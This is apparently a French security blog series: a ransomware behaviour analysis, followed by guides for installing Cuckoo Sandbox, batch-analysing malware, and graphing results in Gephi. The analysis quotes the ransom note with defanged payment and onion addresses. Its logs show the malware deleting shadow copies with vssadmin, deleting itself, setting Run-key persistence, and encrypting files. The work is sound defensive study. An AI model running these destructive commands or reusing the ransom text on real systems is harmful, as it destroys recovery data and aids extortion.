For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:
1. hxxp://jf73ndna34df.ceorldess.com/4D5492355C95A030
2. hxxp://gecndhstrnsdf.gpay4it.com/4D5492355C95A030
3. hxxp://hrdsjrnvskdjnt.pay4softrn.com/4D5492355C95A030
4. hxxps://t7r67vsrpjcm5dfc.onion.to/4D5492355C95A030
5. hxxps://t7r67vsrpjcm5dfc.tor2web.org/4D5492355C95A030
6. hxxps://t7r67vsrpjcm5dfc.onion.cab/4D5492355C95A030

If for some reasons the addresses are not available, follow these steps:
1. Download and install tor-browser: hxxp://www.torproject.org/projects/torbrowser.html.en
2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: t7r67vsrpjcm5dfc.onion/4D5492355C95A030
4. Follow the instructions on the site.

========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========
!!!!!========!!!!!========!!!!!
!!! IMPORTANT INFORMATION:
!!! Your personal pages:
hxxp://jf73ndna34df.ceorldess.com/4D5492355C95A030
hxxp://gecndhstrnsdf.gpay4it.com/4D5492355C95A030
hxxp://hrdsjrnvskdjnt.pay4softrn.com/4D5492355C95A030
hxxps://t7r67vsrpjcm5dfc.onion.to/4D5492355C95A030
!!! Your personal TOR-Browser page: t7r67vsrpjcm5dfc.onion/4D5492355C95A030
!!! Your personal identification ID (if you open the site directly): 4D5492355C95A030
========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========
!!!!!========!!!!!========!!!!!
[/code]

Registre

RegShot est un outil permettant de visualiser les différences dans le registre Windows entre deux moments. Pour cela il effectue deux instantanées du registre, un avant l’exécution du malware, et un après, il compare les deux à la fin pour afficher les modifications survenues.

[code]HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\Microsoft\Windows\CurrentVersion\Run\santa_svc: “C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe”[/code]
J’aime beaucoup le nom de la valeur 😀

[code]HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\4D5492355C95A030
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\zsys
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\4D5492355C95A030\data: 31 59 58 6D 74 39 46 65 54 45 75 74 37 69 57 39 61 42 4D 77 74 38 64 75 6B 32 62 4D 37 4D 41 37 71 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 EF 5C 38 BB E8 9A EF 63 CA 64 72 B5 41 07 E6 91 9B 99 F5 5F C7 DF BF B6 AB 5F 88 19 73 97 99 FB 01 56 5E 23 76 6B D7 8E E6 74 46 98 72 BE 00 3D 64 80 BA DC 34 BA 11 9B 85 DB A9 55 D0 05 52 87 00 00 32 31 38 30 39 41 37 35 43 35 32 35 41 43 33 42 44 35 39 39 35 44 35 35 30 34 46 33 31 31 37 32 38 33 35 42 31 33 36 38 31 36 32 35 33 43 30 35 38 45 32 37 35 41 39 34 36 38 42 39 46 41 36 44 36 36 30 46 33 36 38 41 31 32 46 34 36 44 34 45 45 46 38 41 38 45 37 36 44 35 46 44 35 41 41 38 41 46 38 38 39 34 42 30 36 39 43 33 39 32 33 45 41 33 39 38 34 31 34 42 36 43 42 39 31 42 33 30 00 00 00 00 04 DB F1 93 E1 81 AA 71 67 97 C5 C5 FA 1F B5 3D 6C 21 ED 18 5B AD 61 23 EE B7 33 9D 9C D8 DF 21 7B 25 5D 69 97 71 23 3C 9E 83 13 DB 78 85 8E 96 7E 27 5C D5 47 26 90 E1 76 45 2E
66 8D BA F6 14 21 00 00 00 00 00 00 00 00 1C 3D 73 56 00 00 00 00
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\zsys\ID: 4D 54 92 35 5C 95 A0 30[/code]

Réseau

Wireshark va nous permettre de voir ce qui circule sur le réseau.

Le malware va résoudre et contacter [i]myexternalip.com[/i] pour connaitre notre adresse IP.

Puis il va résoudre et contacter un site (ou plusieurs si nécessaire), ce sont des sites WordPress piratés sur lesquels le pirate a placé un fichier php lui appartenant. Le malware les appels avec une première variable. Le script php répond alors :

---!!!INSERTED!!!---

.
Il rappel ensuite le même site après le processus de chiffrement avec une nouvelle variable, le script PHP répond la même chose.

Les variables sont totalement différentes, y compris si on multiplie les exécutions, seule une en-tête commune à toutes les secondes communications (après chiffrement) existe.

On peut quand même en déduire que si paires de clés RSA il y a, elles n’ont pas été générées coté serveur. Or l’intérêt est de garder une partie secrète sur le serveur, ici soit elle transite en clair via le réseau, soit elle est stockée en local, soit il n’y a pas de chiffrement avec RSA. On sait de même que la clé utilisée est à priori unique (header commun).

Système

Process Monitor permet de visualiser les actions effectuées par les processus.

[code]23:54:18,8152357 73.exe 8844 IRP_MJ_CREATE C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe SUCCESS Desired Access: Generic Write, Read Attributes, Delete, Disposition: OverwriteIf, Options: Sequential Access, Synchronous IO Non-Alert, Non-Directory File, Attributes: A, ShareMode: None, AllocationSize: 0, OpenResult: Created
23:54:18,8883688 73.exe 8844 Process Create C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe SUCCESS PID: 9000, Command line: “C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe”[/code]

73.exe crée un fichier qjgemacroic.exe qui est une copie de lui-même.

[code]23:54:20,0017606 73.exe 8844 Process Create C:\WINDOWS\system32\cmd.exe SUCCESS PID: 8756, Command line: “C:\WINDOWS\system32\cmd.exe” /c DEL C:\DOCUME~1\%username%\Bureau\73.exe[/code]

73.exe s’auto-supprime et qjgemacroic.exe prend le relai.

[code]23:54:20,3724817 qjgemacroic.exe 9000 RegCreateKey HKCU\Software\zsys\ SUCCESS Desired Access: Read/Write

23:54:20,5873677 qjgemacroic.exe 9000 RegSetValue HKCU\Software\4D5492355C95A030\data SUCCESS Type: REG_BINARY, Length: 328, Data: 31 59 58 6D 74 39 46 65 54 45 75 74 37 69 57 39

23:54:20,6213765 qjgemacroic.exe 9000 RegSetValue HKCU\Software\Microsoft\Windows\CurrentVersion\Run\santa_svc SUCCESS Type: REG_SZ, Length: 154, Data: C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe[/code]

Il crée les clés de registre citées plus tôt.

[code]23:54:20,9402170 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\vssadmin.exe SUCCESS PID: 9160, Command line: “C:\WINDOWS\system32\vssadmin.exe” delete shadows /all /Quiet [/code]

Il supprime les VSS. Adieu points de restauration et versions précédentes des fichiers.

[code]23:54:21,0972579 qjgemacroic.exe 9000 IRP_MJ_CREATE C:\Documents and Settings\%username%\Mes documents\recover_file_gdwasfaxi.txt SUCCESS Desired Access: Generic Read/Write, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: None, AllocationSize: 0, OpenResult: Created[/code]

Il crée un fichier un peu spécial :

[code]1YXmt9FeTEut7iW9aBMwt8duk2bM7MA7q
EF5C38BBE89AEF63CA6472B54107E6919B99F55FC7DFBFB6AB5F8819739799FB
21809A75C525AC3BD5995D5504F31172835B136816253C058E275A9468B9FA6D
660F368A12F46D4EEF8A8E76D5FD5AA8AF8894B069C3923EA398414B6CB91B30
4D5492355C95A030
73[/code]

On y voit notre ID, des choses qu’on retrouve dans les entêtes aussi.

[code]23:54:21,3637842 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\* SUCCESS Type: QueryDirectory, Filter: *, 2: AdwCleaner
23:54:21,3725150 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\AdwCleaner\* SUCCESS Type: QueryDirectory, Filter: *, 2: .
23:54:21,3902225 qjgemacroic.exe 9000 IRP_MJ_DIRECTORY_CONTROL C:\AdwCleaner SUCCESS Type: QueryDirectory, 1: .., 2: AdwCleaner[R5].txt, 3: AdwCleaner[R6].txt, 4: Quarantine
23:54:21,3923379 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 0, Length: 394
23:54:21,3923803 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 394, Length: 20
23:54:21,3923912 qjgemacroic.exe 9000 FASTIO_WRITE C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Offset: 414, Length: 992
23:54:21,5671137 qjgemacroic.exe 9000 IRP_MJ_SET_INFORMATION C:\AdwCleaner\AdwCleaner[R5].txt SUCCESS Type: SetRenameInformationFile, ReplaceIfExists: False, FileName: C:\AdwCleaner\AdwCleaner[R5].txt.vvv
[/code]

On va parcourir tout le disque à partir de la racine, dossier par dossier, puis fichier par fichier, quand une extension correspond, le malware réécrit complètement le fichier (on voit qu’il est plus grand à la fin) puis le renomme avec un .vvv.

[code]23:54:21,5715319 qjgemacroic.exe 9000 IRP_MJ_WRITE C:\AdwCleaner\Quarantine\how_recover+hfv.txt SUCCESS Offset: 0, Length: 2 560
23:54:21,5717844 qjgemacroic.exe 9000 IRP_MJ_WRITE C:\AdwCleaner\Quarantine\how_recover+hfv.html SUCCESS Offset: 0, Length: 10 654
[/code]

Il place également un [i]how_recover+hfv.txt[/i] et [i]how_recover+hfv.html[/i] dans tous les dossiers (même si il n’y a rien de chiffré dedans). Tous y passe sauf le dossier Windows.

[code]23:57:06,4031183 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\NOTEPAD.EXE SUCCESS PID: 9736, Command line: “C:\WINDOWS\system32\NOTEPAD.EXE” C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.TXT[/code]

Affichage des instructions sur notepad.

[code]23:57:06,4697720 qjgemacroic.exe 9000 Process Create C:\Program Files\Mozilla Firefox\firefox.exe SUCCESS PID: 9096, Command line: “C:\Program Files\Mozilla Firefox\firefox.exe” -osint -url “C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.HTM”
[/code]

Affichage des instructions sur le navigateur.

[code]23:57:06,9842435 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\rundll32.exe SUCCESS PID: 9936, Command line: “rundll32.exe” C:\WINDOWS\system32\shimgvw.dll,ImageView_Fullscreen C:\Documents and Settings\%username%\Bureau\Howto_Restore_FILES.BMP[/code]

Affichage de l’image.

[code]23:57:08,7694981 qjgemacroic.exe 9000 Process Create C:\WINDOWS\system32\cmd.exe SUCCESS PID: 10136, Command line: “C:\WINDOWS\system32\cmd.exe” /c DEL C:\DOCUME~1\%username%\APPLIC~1\QJGEMA~1.EXE[/code]

Une fois le processus de chiffrement terminé le fichier s’auto-détruit.


Il serait intéressant de se pencher plus en détail sur le processus de chiffrement, j’ai de sérieux doutes sur la robustesse des mécanismes mis en œuvre par ce malware.

On voit qu’à la fin le malware n’est plus actif, en désinfection il faudrait virer les clés laissés par l’infection, voir retirer les fichiers “howto” et les fichiers chiffrés (ce qui retire toute chance de pouvoir les déchiffrer dans un moment futur).

Pour tous commentaires ça se passe par ici : https://forum.security-x.fr/blog-sx/

Cuckoo – Traiter le résultat avec Gephi 3

Cet article fait suite à celui-ci.
Désormais, on va dissocier les malwares par familles et identifier les comportements qui sont liés.


Adware

adware

PDF : Adware.pdf

Ransomware

ransomware

PDF : Ransomware.pdf

Regardons aussi comment ces malwares se lancent.

ransomware lancement

PDF : Ransomware_lancement.pdf

Il est intéressant de voir que le mode de lancement utilisé par les ransomwares est séparé en deux parties (clusters). Donc par exemple si un de ces programmes crée une clé Run, il y a de fortes chances qu’il ait aussi créé une clé Session Manager.

Scareware

scareware

PDF : Scareware.pdf

scareware lancement

PDF : scareware_lancement.pdf

Vers

vers

PDF : Vers.pdf

vers lancement

PDF : Vers_lancement.pdf


D’autres familles de malwares existent mais on va pas toutes les traiter. On peut aussi regarder quelques infections particulières.

TDSS / ZeroAccess

Dans cette partie on souhaite voir ce que TDSS et ZA ont en commun.

TDSS_ZA

PDF : TDSS_ZAgraph.pdf

On voit que bien qu’ils aient chacun leurs spécificités, ils partagent un certain nombre de comportements.

SpyEyes

spyeyes

PDF : Spyeyes.pdf

Sur cette image, nous voyons que le malware effectue peu d’actions, dans la plupart des cas il n’essaye pas de se lancer au démarrage par exemple. Cela nous laisse supposer que l’exécution ne s’est pas bien passée (le malware a peut-être détecté qu’il était dans une machine virtuelle) ou que la base comportementale n’est pas assez complète.

Zeus

zeus

PDF : Zeus.pdf

zeus lancement

PDF : Zeus_lancement.pdf

Ces graphiques nous montrent que même si ces infections appartiennent à la même famille, il y a de grandes différences de comportement entre les variantes.

Qbot

qbot

PDF : Qbot.pdf

Les comportements forment 3 clusters, on sait donc qu’il y a d’autres “grandes sous-familles” de Qbot qui ont chacune leurs comportements spécifiques.


Ce dernier article conclut l’utilisation de Gephi.

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici.

Cuckoo – Traiter le résultat avec Gephi 2

Dans le précédent post on a vu comment construire un graphique à partir de l’analyse d’un lot de malwares. Le résultat est plutôt sympathique, mais pas si concluant que ça.

Pour obtenir des choses plus intéressantes il va falloir sélectionner, supprimer, filtrer des choses, je ne vais pas détailler cela ici mais simplement vous proposer des résultats.


Malwares – Malwares

Ce graphique ne se compose que de malwares, mais les liens entre eux montrent les comportements qu’ils ont en communs.

Cuckoo - Gephi malwares

On voit que certaines catégories sont absentes ou peu présentes. C’est sans doute dû à la base comportementale qui n’est pas forcement adaptée à certains types de malwares (les vers, les virus ou les adwares par exemple).

PDF

Comportements – Comportements

L’échantillon de malwares prit n’est pas vraiment représentatif de l’ensemble des infections, mais il peut être intéressant de voir quels sont les comportements les plus centraux de ces malwares. On va séparer entre comportements au niveau des fichiers, du registre et l’API.

Cuckoo - Gephi comportements fichiers

PDF

Cuckoo - Gephi comportements registre

PDF

Cuckoo - Gephi comportements api

PDF

Mauvaises détections

Pour chacun de nos malwares, nous avons des taux de détection à notre disposition. Essayons de voir comment s’organise notre graphique pour les malwares mal détectés (on choisit pour cela une valeur un peu arbitraire : moins de 7 détections).

Cuckoo - Gephi Mauvaises detections

Si l’on considère que les anti-virus se servent en partie des comportements des malwares pour décider du caractère infectieux ou non de ceux-ci (ce qui est bien sur à vérifier), les comportements les plus visibles ici sont donc peu pris en compte par ces sociétés.

PDF

Détections heuristiques

Les anti-virus embarquent souvent un moteur de détection heuristique. En l’absence de signature connue, en analysant le comportement d’un fichier ils peuvent dire (avec une certaine incertitude) si celui-ci est infectieux ou non.
On ne va donc garder que les malwares dont le nom est précédé d’un “HEUR:“, “suspicious“, etc.
Voyons quels comportements font tilter nos anti-virus.

Gephi - cuckoo heuristique

PDF

La suite ici.

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici

Cuckoo – Traiter le résultat avec Gephi

Vous avez installé cuckoo et analysé plein de malwares. C’est sympa tout ça, mais vous n’avez peut-être pas envie de lire tous les rapports ?

Dans ce post, on va créer un rendu visuel de ces analyses, duquel on pourra extraire des informations pertinentes grâce au logiciel Gephi !


L’idée

Le but du traitement à réaliser est de trouver un moyen pour regrouper/classer les fichiers analysés. Dans les rapports, on va trouver pour chaque malwares plein d’indications, je vais appeler ça des comportements.

L’idée de départ était de regrouper les malwares étudiés entre-eux en fonction de leur comportement observé. Pour cela, chaque comportement partagé entre deux malwares donne un lien entre eux deux. Par conséquent, plus il existe de lien entre les malwares, plus leur comportement global est proche.

Cette idée pose deux problèmes majeurs :

  • En faisant comme ça on ne voit que les liens entre les malwares, c’est un peu pauvre, on veut aussi s’intéresser aux comportements.
  • C’est très lourd, ça implique de parcourir tous les rapports plusieurs fois, il faut aussi créer des algorithmes complexes pour identifier tous ces comportements (on ne peut pas se contenter de comparer chaque lignes)

Traitement

Pour résoudre ce problème, on va l’attaquer autrement. Les comportements seront prédéfinis (base comportementale) et correspondront chacun à un nœud. Les malwares qui auront ce comportement auront un lien avec lui. On aura donc un graphique bipartite (malwares et comportements ensembles).

Construire une base comportementale ça prend du temps, celle que je vous propose est donc loin d’être exhaustive et peut posséder des erreurs.
Voici un exemple de comportement :

SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Drivers32
2
Lancement automatique (Drivers32)

La première ligne désigne ce qu’il faut rechercher dans le rapport. La seconde pour le type (2 = clé de registre) et la troisième est une explication courte.

Base comportementale : base_comportement base_comportement_details

Maintenant il ne reste plus qu’à parcourir les résultats.
On met le contenu du répertoire storage/analyses dans un dossier à part avec les bases et le programme de traitement.

Ce programme a été écrit en C, c’est pas très jolie, c’est lourd, mais ça fait son travail.

Code : main.c

En sortie on aura 2 fichiers GDF (un format compréhensible par Gephi), l’un contiendra les nœuds, l’autre les liens.

s256, ,malware,'Trojan-FakeAV.Win32.SmartFortress2012.acxa',12

Voilà un exemple de nœud, c’est un malware détecté en tant que “Trojan-FakeAV.Win32.SmartFortress2012.acxa” par 12 antivirus.

Quand on assemble les deux fichiers on obtient un fichier GDF prêt à être chargé sur Gephi : result.gdf.

Gephi

Gephi est un logiciel open-source multiplate-forme de visualisation développé en Java.

Télécharger Gephi.

On charge le fichier GDF, il faut supprimer les nœuds orphelins si il y en a.

Dans l’onglet Laboratoire de données on retrouve nos nœuds et liens. La partie Vue d’ensemble nous permet de modifier notre graphique, on peut commencer par lui appliquer un algorithme de spatialisation comme le Force Atlas 2.

Graphique bipartite gephi

On obtient un (beau) graphique. On peut l’exporter au format pdf par exemple : gephi_bipartite_1.pdf

Graphique bipartite résultat

Un cluster bipartite 1

Un cluster bipartite 2

La suite par ici.

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici

Cuckoo – Analyser un lot de malwares

Avec Cuckoo Sandbox, vous allez voir qu’il est très simple d’analyser tout un lot de malwares.

Il est recommandé d’avoir un PC puissant, une quantité suffisante de mémoire, et un peu de place sur son disque dur.

Ce post fait suite à celui détaillant l’installation de cuckoo.


Dans un premier temps, nous allons optimiser un peu l’analyse.

Paralléliser l’analyse

Cuckoo c’est bien, mais ce n’est pas ce qu’il y a de plus rapide, on se rend vite compte que l’analyse d’un seul fichier peut durer plusieurs minutes.
Il est donc intéressant d’utiliser plusieurs machines virtuelles.

Relancez virtualbox, pour rappel il suffit de faire :

sudo chroot /srv/chroot/cuckoo_chroot
su cuckoo
virtualbox&

Faites un clique droit sur votre machine puis clôner. Clône intégral de l’état actuel.

Démarrer votre nouvelle machine, puis modifier son adresse IP en 192.168.56.102. (changer le dernier octet pour chaque machine)

Configuration réseau clone machine virtuelle

Enfin, redémarrez votre machine virtuelle puis prenez un instantané.

Recommencez cette manipulation pour chaque nouvelles machines.

Maintenant, éditons le fichier virtualbox.conf situé dans le dossier conf de cuckoo.

Ajoutez vos machines :

machines = cuckoo1,cuckoo2,cuckoo3,cuckoo4

Pour chacune, créez une section :

[cuckoo2]
# Specify the label name of the current machine as specified in your
# VirtualBox configuration.
label = cuckoo2

# Specify the operating system platform used by current machine
# [windows/darwin/linux].
platform = windows

# Specify the IP address of the current machine. Make sure that the IP address
# is valid and that the host machine is able to reach it. If not, the analysis
# will fail.
ip = 192.168.56.102

Analyse

Il vous faut maintenant récupérer des fichiers à analyser et les mettre dans le répertoire de l’utilisateur cuckoo (en faisant toujours attention aux droits, ne pas hésiter à utiliser la commande chown).

Avant de commencer, si votre PC a tendance à chauffer, il peut être bon de limiter cuckoo et virtualbox (en terme de ressources utilisées). On peut utiliser cpulimit pour ça. Les commandes sont à adapter à votre configuration (voir explications)

cpulimit --path=/usr/bin/python --limit 15&
cpulimit --path=/usr/bin/virtualbox --limit 15&

Nous sommes prêt, allez dans le répertoire de cuckoo.
Si vous avez déjà lancé des analyses, vous pouvez les effacer avec la commande :

./utils/clean.sh

Pour lancer l’analyse :

python cuckoo.py&
./utils/submit.py /dossier/avec/vos/malware

Les fichiers sont ajoutés à une file d’attente, les machines virtuelles se lancent et s’éteignent automatiquement.

Cuckoo file d'attente

Cuckoo fonctionnement normal

Et le résultat final.

Dossier résultat analyse lot de malware

Il ne vous reste plus qu’à analyser tous ces rapports 🙂

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici

Cuckoo Sandbox – Installation

Dans ce post je vais expliquer pas à pas comment installer Cuckoo Sandbox.

N’oubliez pas que l’analyse de malware peut être dangereuse, je vous conseille de prendre toutes les précautions qui s’imposent avant de commencer. Il est possible que certaines manipulations expliquées ici soient dangereuses.

L’installation sera effectuée sur une machine Debian “testing” sur une architecture amd64.


On l’installera dans un chroot, en faisant ainsi on l’isolera du reste du système (change root – changer la racine). Cuckoo sera lancé depuis un utilisateur aux droits limités dans ce chroot afin de limiter les risques pour le système hôte si un malware arrive à “s’échapper” de la machine virtuelle.

Si vous souhaitez installer cuckoo directement sur votre système vous pouvez simplement suivre la documentation.

Création du chroot

On installe les logiciels nécessaires et on crée le répertoire de notre chroot.

sudo apt-get install binutils debootstrap
sudo mkdir -p /srv/chroot/cuckoo_chroot

La commande debootstrap permet d’installer un système debian dans le sous-répertoire d’un autre système.
Veillez à choisir la même architecture que votre système.

sudo debootstrap --arch amd64 testing /srv/chroot/cuckoo_chroot http://http.debian.net/debian

Le chroot sera donc situé dans notre cas dans /srv/chroot/cuckoo_chroot.

L’installation se lance, cela peut prendre plusieurs minutes.

Pour plus d’information sur les chroot ou en cas de problème : https://wiki.debian.org/fr/Chroot

Entrons y :

sudo chroot /srv/chroot/cuckoo_chroot

Si tout va bien, quelque chose comme ça s’affiche :

root@debian:/#

Dans la suite de ce post, on va distinguer les commandes à taper sur le système principal de celles à entrer sur le chroot par un code de couleur (couleur des encadrés).

Sur le système principal
Dans le chroot en tant qu'utilisateur root
Dans le chroot en tant qu'utilisateur cuckoo

Il faut ensuite installer le logiciel de virtualisation dans lequel les malwares seront exécutés, nous utiliserons virtualbox mais vous pouvez prendre n’importe quel autre (KVM, VMware, …).

Installation de Virtualbox

Commencez par éditer le fichier /etc/apt/sources.list, ajoutez y la ligne :

deb http://http.debian.net/debian testing contrib non-free

Puis installez :

apt-get install virtualbox

Il est possible de rencontrer des problèmes à l’installation de virtualbox, c’est récurrent. Pour les résoudre je vous conseille de copier le message d’erreur sur un moteur de recherche, de nombreux sujets sur des forums existent. La Documentation debian donne aussi des solutions.

Erreurs courantes :

The character device /dev/vboxdrv does not exist.

Solution :

modprobe vboxdrv
VBoxNetAdpCtl: Error while adding new interface: failed to open /dev/vboxnetctl: No such file or directory

Solution :

modprobe vboxnetadp

Installation de Cuckoo

Un certain nombre de dépendances sont nécessaires, il faut aussi que tcpdump puisse se lancer avec des droits de super-utilisateur (pour capturer le trafic).

apt-get install python python-sqlalchemy python-dpkt python-jinja2 python-magic python-pymongo python-libvirt python-bottle python-pefile tcpdump libcap2-bin
setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

On crée un utilisateur,

adduser cuckoo
usermod -G vboxusers cuckoo

Il faut maintenant télécharger cuckoo : ici
On extrait le contenu du fichier cuckoo-current.tar.gz téléchargé dans notre chroot.

sudo tar xzfv cuckoo-current.tar.gz -C /srv/chroot/cuckoo_chroot/home/cuckoo/

Cuckoo est installé.
Attention aux droits, exécutez la commande suivante dans le dossier de l’utilisateur cuckoo pour qu’il soit propriétaire des fichiers (change the owner).

chown cuckoo * -R

Configuration de Virtualbox

xhost +

Cela vous permettra de lancer des applications graphiques depuis le chroot.

En utilisant le compte que l’on a créé, on va pouvoir lancer virtualbox.

su cuckoo
virtualbox&

A vous maintenant de créer une machine virtuelle, j’ai choisi d’utiliser Windows XP SP3 (si vous avez déjà une machine virtuelle de créée, vous pouvez l’importer dans le chroot) mais libre à vous de prendre un autre système (Vista, 7, 8, …).

Sur la machine virtuelle, désactiver le pare-feu et les mises à jour automatiques. Puis installer python : http://www.python.org/getit/

Sur Virtualbox allez dans Machine -> Configuration -> Dossiers partagés -> Ajouter un dossier partagé. Ajouter le dossier /home/cuckoo/cuckoo/agent et cocher montage automatique.

Virtualbox création dossier partagé

Redémarrez la machine. Depuis le dossier monté, placer le fichier agent.py dans le dossier de démarrage automatique de Windows et le renommer en agent.pyw.

Dossier démarrage machine virtuelle

Passons maintenant à la configuration réseau, éteignez la VM. Dans la fenêtre principale de virtualbox aller dans Fichier -> Paramètres -> Réseau -> Ajouter réseau privé hôte. (il est possible que vous soyez obligés d’effectuer cette manipulation après chaque redémarrage)

Dans la configuration de la machine, sur l’onglet Réseau choisissez le mode d’accès réseau privé hôte.

Virtualbox créer réseau privé

Allumez votre machine virtuelle, elle fait maintenant parti d’un réseau privé qui lui permettra de communiquer avec cuckoo. On va lui attribuer une adresse IP fixe. Dans les options internet, vous pouvez lui donner l’adresse 192.168.56.101.

Configuration réseau machine virtuelle

La configuration de la machine virtuelle est terminée, assurez vous qu’aucun programme parasite ne se lance, prenez ensuite un instantané de la machine après son démarrage (une fois que tout est bien chargé). Vous pouvez fermer virtualbox.

On n’oubliera pas d’autoriser cuckoo et la machine virtuelle à communiquer. Cette commande n’est pas permanente, il faudra l’ajouter à votre script de configuration d’iptables ou la retaper à chaque utilisation de cuckoo.

sudo iptables -A INPUT -i vboxnet0 -j ACCEPT

Configuration de Cuckoo

Aller dans le dossier de cuckoo puis dans conf. On y trouve plusieurs fichiers .conf avec des explications.

Modifier le fichier virtualbox.conf pour y indiquer votre machine virtuelle.

label = nom_de_votre_machine_virtuelle

Dans le fichier reporting.conf vous pouvez choisir quels types de rapports seront générés.

Maintenant, lançons cuckoo.

python cuckoo.py&

Démarrage cuckoo

Voilà ce que vous devriez avoir si tout va bien !

Pour analyser un fichier, il vous suffit de faire :

./utils/submit.py chemin_vers_le_fichier

Ou bien :

./utils/submit.py --url http://www.malware.com

Cuckoo fonctionnement

Les rapports d’analyses sont situés dans storage/analyses.

Cuckoo résultat html

Cuckoo résultat json

Dans les rapports on trouvera par exemple :

  • Les appels à l’API Win32
  • Les fichiers créés, supprimés ou téléchargés
  • La capture du trafic réseau
  • Les clés de registre crées, supprimées ou modifiées
  • Des captures d’écran de la machine
  • Une analyse Virustotal

Si vous souhaitez analyser de nombreux malwares, vous pouvez lire le billet suivant : Analyser un lot de malwares.

Bien d’autres possibilités existent, vous trouverez tout une documentation dans le dossier cuckoo/docs/book.
Vous pouvez par exemple donner à la machine virtuelle un accès à internet et ainsi capturer le trafic, demander à cuckoo de faire un dump mémoire, …

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici

Analyse de malwares avec Cuckoo

Cuckoo Sandbox est un logiciel permettant d’analyser rapidement des malwares.

Codé en python, il génère des rapports détaillés sur le fichier analysé.

Je vais présenter rapidement cuckoo, puis dans une série de posts, je vais vous expliquer comment l’installer, nous verrons ensuite une application possible de ces analyses.


Exécuter un malware dans une machine virtuelle est un moyen simple de l’étudier, mais cela nécessite d’utiliser de nombreux outils et peut prendre du temps. Cuckoo va effectuer la même chose automatiquement et générer un rapport.

Pour ce faire, on installe un petit module sur une machine virtuelle qui va exécuter le malware, récupérer des informations sur le système et les transmettre à cuckoo.

On saura donc rapidement quelle incidence le malware a eu sur le système (fichiers créés, clés de registre modifiées, …).

Il est possible d’utiliser cuckoo sans installation, le site malwr.com permet d’analyser un fichier en ligne.

Merci à tout ceux qui m’ont fait découvrir cuckoo et aidé dans ce projet, en particulier igor51.

Pour toutes questions ou commentaires, vous pouvez aller sur le forum. ici